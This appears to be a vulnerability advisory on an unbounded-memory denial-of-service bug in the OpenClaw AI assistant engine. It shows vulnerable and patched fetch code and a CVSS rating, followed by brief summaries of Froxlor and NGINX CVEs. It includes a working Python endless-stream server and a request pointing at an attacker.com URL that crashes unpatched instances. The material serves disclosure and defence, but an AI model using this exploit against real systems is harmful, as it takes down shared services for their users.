Feb 18, 2026·5 min read·29 visits
OpenClaw failed to implement backpressure or size limits when fetching remote media or decoding base64 inputs. An attacker can trigger a crash (OOM) by supplying a URL that serves an infinite stream of data or a gigabyte-sized base64 string. Fixed in version 2026.2.14 by implementing streaming reads with byte counting.
OpenClaw, a popular open-source AI assistant engine, suffered from a critical Denial of Service (DoS) vulnerability due to unbridled resource consumption. By feeding the engine a URL pointing to an infinite stream or a massive base64 payload, an attacker could force the application to allocate memory until the Node.js process crashed (OOM). This report details how the developers relied on 'trusting' the data source and how a simple architectural oversight turned OpenClaw into a memory-leaking time bomb.
In the rush to build 'Agentic AI', developers often forget the basics of web security. OpenClaw is designed to be helpful—it fetches images, reads PDFs, and processes context for you. It's an eager digital puppy. Unfortunately, it was also a puppy that didn't know when to stop eating.
The core feature at play here is media ingestion. When you give OpenClaw a URL (like an image to analyze), it has to fetch that resource, buffer it, and pass it to the underlying LLM or OCR engine. In a perfect world, users only provide links to valid, reasonably sized JPEGs. In the real world, users—and specifically attackers—provide links to /dev/zero or custom HTTP servers that never stop sending data.
Because OpenClaw operates as a backend service (often within a larger Node.js orchestration layer), crashing it doesn't just annoy a user; it kills the context for everyone sharing that instance, potentially bringing down expensive GPU-connected containers along with it.
The root cause of this vulnerability is a classic developer trap: prioritizing convenience over control. In the JavaScript fetch API, the method response.arrayBuffer() is incredibly convenient. It takes a stream, buffers it entirely into the heap, and resolves with a nice, clean buffer. It is also completely suicidal if you don't control the source.
Here is the logic flaw: OpenClaw attempted to check the Content-Length header to verify file size. However, Content-Length is optional. Worse, an attacker controlling the malicious server can simply omit the header or use Transfer-Encoding: chunked. In this scenario, the browser/runtime doesn't know the size until the stream ends.
OpenClaw's code effectively said, "Open your mouth and don't close it until the food stops coming." If the food never stops coming (or stops after 4GB), the Node.js process hits its heap limit (typically 2GB-4GB depending on flags) and the V8 engine triggers a fatal "JavaScript heap out of memory" crash. This is a trivial, unauthenticated remote DoS.
Let's look at the smoking gun. The vulnerable implementation in fetchWithGuard looked something like this (simplified for dramatic effect):
// VULNERABLE CODE
const response = await fetch(url);
// Fatal Flaw: The code assumes this will finish successfully
// and fit in RAM. It does not enforce a limit during ingestion.
const buffer = await response.arrayBuffer();
if (buffer.byteLength > MAX_SIZE) {
throw new Error("Too big!"); // Too late! We already crashed.
}The fix required moving from a "buffer then check" model to a "check while buffering" model. The patch (Commit 00a08908892d1743d1fc52e5cbd9499dd5da2fe0) introduces a streaming reader. Instead of waiting for the whole payload, it sips the data in chunks.
// FIXED CODE (Concept)
const reader = response.body.getReader();
let total = 0;
while (true) {
const { done, value } = await reader.read();
if (done) break;
total += value.length;
if (total > MAX_BYTES) {
reader.cancel(); // Stop the stream immediately
throw new Error("Mouth full!");
}
chunks.push(value);
}This change ensures that memory usage never exceeds MAX_BYTES + chunkSize. If the attacker tries to send a 10GB file, the loop terminates the moment total hits the limit (e.g., 5MB), and the connection is severed.
To exploit this, we don't need advanced heap grooming or ROP chains. We just need a Python script and a bad attitude. We will set up a rogue HTTP server that sends a never-ending stream of random bytes.
import socket
# Create a socket that listens on port 8080
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 8080))
server.listen(1)
print("Listening for OpenClaw connection...")
while True:
client, addr = server.accept()
request = client.recv(1024)
# Send headers without Content-Length
# This forces the client to read until connection close
client.send(b"HTTP/1.1 200 OK\r\n")
client.send(b"Content-Type: image/png\r\n")
client.send(b"Transfer-Encoding: chunked\r\n\r\n")
# Send 10GB of junk
try:
while True:
# Send a 1MB chunk size hex
client.send(b"100000\r\n")
client.send(b"A" * 1048576 + b"\r\n")
except BrokenPipeError:
print("Client crashed or disconnected.")Simply send a request to the OpenClaw API (e.g., via the chat interface or file upload endpoint) pointing to http://<attacker-ip>:8080/image.png.
{
"role": "user",
"content": [
{
"type": "image_url",
"image_url": { "url": "http://attacker.com:8080/exploit.png" }
}
]
}OpenClaw will attempt to download the "image". The Python script will keep feeding it 'A's until the Node.js Garbage Collector gives up the ghost.
The remediation is available in version 2026.2.14. The developers implemented two key defenses:
fetchWithGuard now manually pumps the stream and counts bytes.estimateBase64DecodedBytes. This formula (length * 3 / 4) - padding calculates the final binary size before attempting to allocate the buffer for decoding.> [!WARNING]
> Researcher Note: The base64 fix includes a line .replace(/\s+/g, "") to clean the input before estimation. While this fixes the OOM crash during decoding, a massive string (e.g., 500MB of pure whitespace) could ironically still cause a CPU spike or secondary memory issue depending on how the regex engine handles the replacement string allocation. It's a fix, but it's not bulletproof against all forms of resource exhaustion.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
openclaw openclaw | < 2026.2.14 | 2026.2.14 |
clawdbot openclaw | <= 2026.1.24-3 | 2026.1.25 |
| Attribute | Detail |
|---|---|
| CWE | CWE-400 (Uncontrolled Resource Consumption) |
| CVSS | 7.5 (High) |
| Attack Vector | Network (Remote) |
| Exploit Reliability | High (Deterministic) |
| Impact | Service Crash (Availability) |
| Status | Patched |
The software does not properly restrict the size or amount of resources that are requested or influenced by an actor, which can be used to consume all available resources.
A critical stored Cross-Site Scripting (XSS) vulnerability was identified in Froxlor server administration software panel before version 2.3.8. Authenticated customers with DNS editor privileges can inject malicious JavaScript into DNS TXT records. Because the application processes these values via a raw formatting callback without context-aware HTML entity encoding, the payload executes in the security context of administrative users who view the affected domain's DNS zones.
An authenticated administrator with privileges to manage admin accounts (such as change_serversettings) can execute arbitrary SQL commands via a second-order SQL injection vulnerability. The flaw resides in Froxlor's administrative API endpoints, specifically during the handling of IP address mapping parameters which are stored as serialized arrays and later interpolated without sanitization into active database queries. This vulnerability allows high-privileged administrative attackers to compromise the database. By injecting a payload into administrative profile metadata, an attacker can extract sensitive credentials, manipulate backend settings, or potentially disrupt database integrity. The vulnerability affects all versions of Froxlor prior to 2.3.8.
CVE-2026-54543 is a DNS Resource Record (RR) Injection vulnerability in Froxlor, an open-source server administration control panel. Prior to version 2.3.8, the DomainZones.add API command failed to perform strict sanitization and validation on the user-controlled record (label) and type parameters before serializing them into BIND-compatible zone files. An authenticated customer with DNS zone management permissions can inject control characters, breaking out of the original record context to define unauthorized resource records within managed zones.
CVE-2026-42533 is a critical security vulnerability discovered in NGINX Open Source, NGINX Plus, NGINX Ingress Controller, and related products, referred to as the 'Two-Pass Capture-Clobbering' bug. The flaw is situated within NGINX's internal evaluation engine when handling complex variables, exposing a heap-based buffer overflow and information leak when a configuration chains regular expression-based map directives with numbered capture groups. An unauthenticated remote attacker can exploit this weakness by transmitting crafted HTTP requests to trigger remote code execution or defeat ASLR.
Froxlor prior to version 2.3.8 contains a high-severity architectural flaw where the standalone lib/ajax.php entry point bypasses the centralized request validation in lib/init.php. Unauthenticated remote attackers can leverage Cross-Site Request Forgery (CSRF) to induce authenticated administrators to submit forged requests that modify API key whitelists and expiration dates, potentially yielding persistent, out-of-band administrative control.
An insecure data retrieval flaw in the Froxlor server administration panel API allows authenticated remote attackers to retrieve unredacted bcrypt password hashes and Base32-encoded Time-Based One-Time Password (TOTP) seeds. Affected endpoints include several 'get' and 'listing' handlers for customers, administrators, and FTP accounts. Utilizing these leaked parameters, attackers can crack the password hashes offline and concurrently generate valid second-factor authentication codes to completely bypass access controls.